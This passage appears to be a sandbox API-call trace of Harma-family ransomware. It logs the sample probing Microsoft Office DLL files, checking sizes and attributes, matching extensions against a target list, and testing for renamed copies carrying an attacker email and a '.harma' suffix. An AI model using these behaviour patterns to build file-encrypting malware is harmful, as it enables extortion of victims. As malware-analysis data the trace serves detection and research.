dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0170.719] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x33bff1c | out: lpFileSize=0x33bff1c*=99688) returned 1 [0170.719] CloseHandle (hObject=0x384) returned 1 [0170.719] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\RM.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\rm.dll")) returned 0x20 [0170.720] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\RM.DLL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\rm.dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0170.720] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\RM.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\rm.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0170.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\RM.DLL") returned 57 [0170.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\RM.DLL") returned 57 [0170.720] lstrlenW (lpString=".doc") returned 4 [0170.720] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0170.720] lstrlenW (lpString=".docx") returned 5 [0170.720] lstrcmpiW (lpString1=".docx", lpString2="M.DLL") returned -1 [0170.720] lstrlenW (lpString=".pdf") returned 4 [0170.720] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0170.720] lstrlenW (lpString=".xls") returned 4 [0170.720] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0170.720] lstrlenW (lpString=".xlsx") returned 5 [0170.720] lstrcmpiW (lpString1=".xlsx", lpString2="M.DLL") returned -1 [0170.720] lstrlenW (lpString=".ppt") returned 4 [0170.720] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0170.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\RM.DLL") returned 57 [0170.720] lstrlenW (lpString=".zip") returned 4 [0170.720] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0170.720] lstrlenW (lpString=".rar") returned 4 [0170.720] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0170.721] lstrlenW (lpString=".bz2") returned 4 [0170.721] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0170.721] lstrlenW (lpString=".7z") returned 3 [0170.721] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0170.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\RM.DLL") returned 57 [0170.721] lstrlenW (lpString=".dbf") returned 4 [0170.721] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0170.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\RM.DLL") returned 57 [0170.721] lstrlenW (lpString=".1cd") returned 4 [0170.721] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0170.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\RM.DLL") returned 57 [0170.721] lstrlenW (lpString=".jpg") returned 4 [0170.721] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0170.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\RM.DLL") returned 57 [0170.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\RM.DLL") returned 57 [0170.721] lstrlenW (lpString=".doc") returned 4 [0170.721] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0170.721] lstrlenW (lpString=".docx") returned 5 [0170.721] lstrcmpiW (lpString1=".docx", lpString2="M.DLL") returned -1 [0170.721] lstrlenW (lpString=".pdf") returned 4 [0170.721] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0170.721] lstrlenW (lpString=".xls") returned 4 [0170.721] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0170.721] lstrlenW (lpString=".xlsx") returned 5 [0170.721] lstrcmpiW (lpString1=".xlsx", lpString2="M.DLL") returned -1 [0170.721] lstrlenW (lpString=".ppt") returned 4 [0170.721] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0170.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\RM.DLL") returned 57 [0170.721] lstrlenW (lpString=".zip") returned 4 [0170.722] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0170.722] lstrlenW (lpString=".rar") returned 4 [0170.722] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0170.722] lstrlenW (lpString=".bz2") returned 4 [0170.722] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0170.722] lstrlenW (lpString=".7z") returned 3 [0170.722] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0170.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\RM.DLL") returned 57 [0170.722] lstrlenW (lpString=".dbf") returned 4 [0170.722] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0170.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\RM.DLL") returned 57 [0170.722] lstrlenW (lpString=".1cd") returned 4 [0170.722] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0170.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\RM.DLL") returned 57 [0170.722] lstrlenW (lpString=".jpg") returned 4 [0170.722] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0170.722] lstrcmpiW (lpString1=".DLL", lpString2=".harma") returned -1 [0170.722] lstrlenW (lpString="TRANSMGR.DLL") returned 12 [0170.722] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\TRANSMGR.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\transmgr.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0170.795] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x33bff1c | out: lpFileSize=0x33bff1c*=130944) returned 1 [0170.795] CloseHandle (hObject=0x374) returned 1 [0170.795] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\TRANSMGR.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\transmgr.dll")) returned 0x20 [0170.800] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\TRANSMGR.DLL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\transmgr.dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0170.800] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\TRANSMGR.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\transmgr.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0170.800] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\TRANSMGR.DLL") returned 63 [0170.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\TRANSMGR.DLL") returned 63 [0170.801] lstrlenW (lpString=".doc") returned 4 [0170.801] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0170.801] lstrlenW (lpString=".docx") returned 5 [0170.801] lstrcmpiW (lpString1=".docx", lpString2="R.DLL") returned -1 [0170.801] lstrlenW (lpString=".pdf") returned 4 [0170.801] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0170.801] lstrlenW (lpString=".xls") returned 4 [0170.801] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0170.801] lstrlenW (lpString=".xlsx") returned 5 [0170.801] lstrcmpiW (lpString1=".xlsx", lpString2="R.DLL") returned -1 [0170.801] lstrlenW (lpString=".ppt") returned 4 [0170.801] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0170.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\TRANSMGR.DLL") returned 63 [0170.801] lstrlenW (lpString=".zip") returned 4 [0170.801] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0170.801] lstrlenW (lpString=".rar") returned 4 [0170.801] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0170.801] lstrlenW (lpString=".bz2") returned 4 [0170.801] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0170.801] lstrlenW (lpString=".7z") returned 3 [0170.801] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0170.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\TRANSMGR.DLL") returned 63 [0170.801] lstrlenW (lpString=".dbf") returned 4 [0170.801] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0170.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\TRANSMGR.DLL") returned 63 [0170.801] lstrlenW (lpString=".1cd") returned 4 [0170.802] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0170.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\TRANSMGR.DLL") returned 63 [0170.802] lstrlenW (lpString=".jpg") returned 4 [0170.802] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0170.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\TRANSMGR.DLL") returned 63 [0170.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\TRANSMGR.DLL") returned 63 [0170.802] lstrlenW (lpString=".doc") returned 4 [0170.802] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0170.802] lstrlenW (lpString=".docx") returned 5 [0170.802] lstrcmpiW (lpString1=".docx", lpString2="R.DLL") returned -1 [0170.802] lstrlenW (lpString=".pdf") returned 4 [0170.802] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0170.802] lstrlenW (lpString=".xls") returned 4 [0170.802] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0170.802] lstrlenW (lpString=".xlsx") returned 5 [0170.802] lstrcmpiW (lpString1=".xlsx", lpString2="R.DLL") returned -1 [0170.802] lstrlenW (lpString=".ppt") returned 4 [0170.802] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0170.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\TRANSMGR.DLL") returned 63 [0170.802] lstrlenW (lpString=".zip") returned 4 [0170.802] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0170.802] lstrlenW (lpString=".rar") returned 4 [0170.802] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0170.802] lstrlenW (lpString=".bz2") returned 4 [0170.802] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0170.802] lstrlenW (lpString=".7z") returned 3 [0170.802] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0170.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\TRANSMGR.DLL") returned 63 [0170.803] lstrlenW (lpString=".dbf") returned 4 [0170.803] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0170.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\TRANSMGR.DLL") returned 63 [0170.803] lstrlenW (lpString=".1cd") returned 4 [0170.803] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0170.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\TRANSMGR.DLL") returned 63 [0170.803] lstrlenW (lpString=".jpg") returned 4 [0170.803] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0170.803] lstrcmpiW (lpString1=".DLL", lpString2=".harma") returned -1 [0170.803] lstrlenW (lpString="DBWIZ.DLL") returned 9 [0170.803] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\DBWIZ.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\dbwiz.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0170.815] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x33bff1c | out: lpFileSize=0x33bff1c*=1276776) returned 1 [0170.815] CloseHandle (hObject=0x33c) returned 1 [0170.815] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\DBWIZ.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\dbwiz.dll")) returned 0x20 [0170.820] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\DBWIZ.DLL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\dbwiz.dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0170.820] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\DBWIZ.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\dbwiz.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0170.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DBWIZ.DLL") returned 52 [0170.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DBWIZ.DLL") returned 52 [0170.821] lstrlenW (lpString=".doc") returned 4 [0170.821] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0170.821] lstrlenW (lpString=".docx") returned 5 [0170.821] lstrcmpiW (lpString1=".docx", lpString2="Z.DLL") returned -1 [0170.821] lstrlenW (lpString=".pdf") returned 4 [0170.821] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0170.821] lstrlenW (lpString=".xls") returned 4 [0170.821] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0170.821] lstrlenW (lpString=".xlsx") returned 5 [0170.822] lstrcmpiW (lpString1=".xlsx", lpString2="Z.DLL") returned -1 [0170.822] lstrlenW (lpString=".ppt") returned 4 [0170.822] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0170.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DBWIZ.DLL") returned 52 [0170.822] lstrlenW (lpString=".zip") returned 4 [0170.822] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0170.822] lstrlenW (lpString=".rar") returned 4 [0170.822] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0170.822] lstrlenW (lpString=".bz2") returned 4 [0170.822] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0170.822] lstrlenW (lpString=".7z") returned 3 [0170.822] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0170.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DBWIZ.DLL") returned 52 [0170.822] lstrlenW (lpString=".dbf") returned 4 [0170.822] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0170.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DBWIZ.DLL") returned 52 [0170.822] lstrlenW (lpString=".1cd") returned 4 [0170.822] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0170.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DBWIZ.DLL") returned 52 [0170.822] lstrlenW (lpString=".jpg") returned 4 [0170.822] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0170.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DBWIZ.DLL") returned 52 [0170.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DBWIZ.DLL") returned 52 [0170.822] lstrlenW (lpString=".doc") returned 4 [0170.822] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0170.822] lstrlenW (lpString=".docx") returned 5 [0170.822] lstrcmpiW (lpString1=".docx", lpString2="Z.DLL") returned -1 [0170.822] lstrlenW (lpString=".pdf") returned 4 [0170.822] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0170.823] lstrlenW (lpString=".xls") returned 4 [0170.823] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0170.823] lstrlenW (lpString=".xlsx") returned 5 [0170.823] lstrcmpiW (lpString1=".xlsx", lpString2="Z.DLL") returned -1 [0170.823] lstrlenW (lpString=".ppt") returned 4 [0170.823] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0170.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DBWIZ.DLL") returned 52 [0170.823] lstrlenW (lpString=".zip") returned 4 [0170.823] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0170.823] lstrlenW (lpString=".rar") returned 4 [0170.823] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0170.823] lstrlenW (lpString=".bz2") returned 4 [0170.823] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0170.823] lstrlenW (lpString=".7z") returned 3 [0170.823] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0170.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DBWIZ.DLL") returned 52 [0170.823] lstrlenW (lpString=".dbf") returned 4 [0170.823] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0170.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DBWIZ.DLL") returned 52 [0170.823] lstrlenW (lpString=".1cd") returned 4 [0170.823] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0170.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DBWIZ.DLL") returned 52 [0170.823] lstrlenW (lpString=".jpg") returned 4 [0170.823] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0170.824] lstrcmpiW (lpString1=".DLL", lpString2=".harma") returned -1 [0170.824] lstrlenW (lpString="DGRMLNCH.DLL") returned 12 [0170.824] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\DGRMLNCH.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\dgrmlnch.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0170.833] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x33bff1c | out: lpFileSize=0x33bff1c*=108904) returned 1 [0170.833] CloseHandle (hObject=0x370) returned 1 [0170.835] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\DGRMLNCH.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\dgrmlnch.dll")) returned 0x20 [0170.836] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\DGRMLNCH.DLL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\dgrmlnch.dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0170.836] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\DGRMLNCH.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\dgrmlnch.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0170.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DGRMLNCH.DLL") returned 55 [0170.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DGRMLNCH.DLL") returned 55 [0170.836] lstrlenW (lpString=".doc") returned 4 [0170.836] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0170.836] lstrlenW (lpString=".docx") returned 5 [0170.836] lstrcmpiW (lpString1=".docx", lpString2="H.DLL") returned -1 [0170.836] lstrlenW (lpString=".pdf") returned 4 [0170.837] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0170.837] lstrlenW (lpString=".xls") returned 4 [0170.837] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0170.837] lstrlenW (lpString=".xlsx") returned 5 [0170.837] lstrcmpiW (lpString1=".xlsx", lpString2="H.DLL") returned -1 [0170.837] lstrlenW (lpString=".ppt") returned 4 [0170.837] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0170.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DGRMLNCH.DLL") returned 55 [0170.837] lstrlenW (lpString=".zip") returned 4 [0170.837] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0170.837] lstrlenW (lpString=".rar") returned 4 [0170.837] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0170.837] lstrlenW (lpString=".bz2") returned 4 [0170.837] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0170.837] lstrlenW (lpString=".7z") returned 3 [0170.837] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0170.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DGRMLNCH.DLL") returned 55 [0170.837] lstrlenW (lpString=".dbf") returned 4 [0170.837] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0170.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DGRMLNCH.DLL") returned 55 [0170.837] lstrlenW (lpString=".1cd") returned 4 [0170.837] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0170.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DGRMLNCH.DLL") returned 55 [0170.837] lstrlenW (lpString=".jpg") returned 4 [0170.837] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0170.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DGRMLNCH.DLL") returned 55 [0170.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DGRMLNCH.DLL") returned 55 [0170.838] lstrlenW (lpString=".doc") returned 4 [0170.838] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0170.838] lstrlenW (lpString=".docx") returned 5 [0170.838] lstrcmpiW (lpString1=".docx", lpString2="H.DLL") returned -1 [0170.838] lstrlenW (lpString=".pdf") returned 4 [0170.838] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0170.838] lstrlenW (lpString=".xls") returned 4 [0170.838] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0170.838] lstrlenW (lpString=".xlsx") returned 5 [0170.838] lstrcmpiW (lpString1=".xlsx", lpString2="H.DLL") returned -1 [0170.838] lstrlenW (lpString=".ppt") returned 4 [0170.838] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0170.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DGRMLNCH.DLL") returned 55 [0170.838] lstrlenW (lpString=".zip") returned 4 [0170.838] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0170.838] lstrlenW (lpString=".rar") returned 4 [0170.839] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0170.839] lstrlenW (lpString=".bz2") returned 4 [0170.839] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0170.839] lstrlenW (lpString=".7z") returned 3 [0170.839] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0170.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DGRMLNCH.DLL") returned 55 [0170.839] lstrlenW (lpString=".dbf") returned 4 [0170.839] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0170.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DGRMLNCH.DLL") returned 55 [0170.839] lstrlenW (lpString=".1cd") returned 4 [0170.839] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0170.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DGRMLNCH.DLL") returned 55 [0170.839] lstrlenW (lpString=".jpg") returned 4 [0170.839] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0170.839] lstrcmpiW (lpString1=".DLL", lpString2=".harma") returned -1 [0170.839] lstrlenW (lpString="DLGSETP.DLL") returned 11 [0170.839] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\DLGSETP.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\dlgsetp.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0170.886] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x33bff1c | out: lpFileSize=0x33bff1c*=116592) returned 1 [0170.886] CloseHandle (hObject=0x2e8) returned 1 [0170.886] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\DLGSETP.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\dlgsetp.dll")) returned 0x20 [0170.886] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\DLGSETP.DLL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\dlgsetp.dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0170.887] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\DLGSETP.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\dlgsetp.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0170.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DLGSETP.DLL") returned 54 [0170.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DLGSETP.DLL") returned 54 [0170.887] lstrlenW (lpString=".doc") returned 4 [0170.887] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0170.887] lstrlenW (lpString=".docx") returned 5 [0170.887] lstrcmpiW (lpString1=".docx", lpString2="P.DLL") returned -1 [0170.887] lstrlenW (lpString=".pdf") returned 4 [0170.887] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0170.887] lstrlenW (lpString=".xls") returned 4 [0170.887] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0170.887] lstrlenW (lpString=".xlsx") returned 5 [0170.887] lstrcmpiW (lpString1=".xlsx", lpString2="P.DLL") returned -1 [0170.887] lstrlenW (lpString=".ppt") returned 4 [0170.887] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0170.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DLGSETP.DLL") returned 54 [0170.887] lstrlenW (lpString=".zip") returned 4 [0170.887] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0170.887] lstrlenW (lpString=".rar") returned 4 [0170.887] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0170.887] lstrlenW (lpString=".bz2") returned 4 [0170.888] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0170.888] lstrlenW (lpString=".7z") returned 3 [0170.888] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0170.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DLGSETP.DLL") returned 54 [0170.888] lstrlenW (lpString=".dbf") returned 4 [0170.888] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0170.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DLGSETP.DLL") returned 54 [0170.888] lstrlenW (lpString=".1cd") returned 4 [0170.888] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0170.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DLGSETP.DLL") returned 54 [0170.888] lstrlenW (lpString=".jpg") returned 4 [0170.888] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0170.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DLGSETP.DLL") returned 54 [0170.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DLGSETP.DLL") returned 54 [0170.888] lstrlenW (lpString=".doc") returned 4 [0170.888] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0170.888] 